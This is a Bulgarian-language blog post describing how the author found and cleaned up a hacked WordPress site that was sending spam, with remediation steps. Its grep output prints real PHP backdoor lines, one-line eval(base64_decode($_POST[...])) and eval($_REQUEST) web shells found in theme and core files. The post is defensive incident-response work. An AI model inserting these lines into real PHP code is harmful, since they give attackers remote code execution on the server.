How to fix hacked wordpress site

How to fix hacked wordpress siteПроблема е доста известен, и сигурно всеки собственик на wordpress сайт рано или късно го е срещал. Тъй като ми се налага да работя с доста уеб сайтове на платформата wordpress, ми се случва често да попадам на хакнати такива. Типичния пример беше вчера когато един такъв сайт изпращаше много спам и трябваше да открия и оправя проблема. Аз имам определен начин на работа и искам да го споделя ( предполагам че не е съвършен но пък е надежден), и заради това реших да напиша и тази тема : How to fix hacked wordpress site.

 

1. Логнах се на машината, отидох в директорията на уеб сайта и проверих кои файлове са променяни най-скоро. Направих го защото знам че сайта не се пипа доста често ( това е грешка – редовно трябва да се обновяват плугините и самия wordpress).

2. Започнах да отварям променените файлове един по един и да търся така нареченият злонамерен код в тях, който евентуално е причината за спама.

Проблема

Така и забелязах проблема. Така нареченият eval(base64_decode()) проблем, който съм засичал и на други php платформи като Invision power board и тн. Обикновенно хакерите поставят този код на първия ред на php файла, изцяло в дясно където трудно би се забелязал от потребителя.
Ето реално как изглеждаше ситуацията:

root@server [/home/user/public_html]# grep base64_decode *
xmlrpc.php:< ?php eval(base64_decode($_POST['n34da82']));?>;

Освен това открих същия проблем и още няколко файла и плугина.
С команда :
grep "eval(base64_decode" * -r

може да се проверят всички под директории за този код.
Пример:
root@server [/home/user/public_html]# grep "eval(base64_decode" * -r
wp-content/themes/twentythirteen/author.php:< ?php eval(base64_decode($_POST['n725a1e']));?>;;< ?php $post_var = "req"; if(isset($_REQUEST[$post_var])) { eval(stripslashes($_REQUEST[$post_var])); exit(); }; ?>;
wp-content/themes/twentytwelve/css/menu.php:< ?php eval(base64_decode($_POST['ndfbe75']));?>;
wp-content/themes/hairpress/assets/js/help.php:< ?php eval(base64_decode($_POST['n46b398']));?>;
wp-content/themes/hairpress/front-template-page.php:< ?php eval(base64_decode($_POST['n7928a5']));?>;

Решението

1. Замянята на заразените файлове с оригиналните такива от изтеглен архив на wordpress е задължителен!!
2. Изключване на wp-cron - функция на wordpress която позволява да се стартират автоматично дадени приложения като обновяване и тн при всяко отваряне на сайта. Това става като се сложи следния ред в wp-config.php:

define('DISABLE_WP_CRON', 'true');

3. Смяната на права за писане в директорията на wordpress както и в под директориите и според мен е много хубаво да се направи. Изключение ще прави само wp-content/uploads папката, където обикновенно wordpress записва файловете качени от нас - снимки,видео и тн. Пример:
chown -R root.root /home/user/public_html/*
chown -R user.user /home/user/public_html/wp-content/uploads/

Извод

Честото обновяването на wordpress и плугините му е меко казано задължително - предполага се че даден проблем ще бъде решен с нова версия на кода на плугина/шаблона. Ако имаме много wordpress сайта добър вариянт е infiniteWP.
Защитата на wp-login.php и /wp-admin/ директорията чрез htaccess също е много добър вариянт.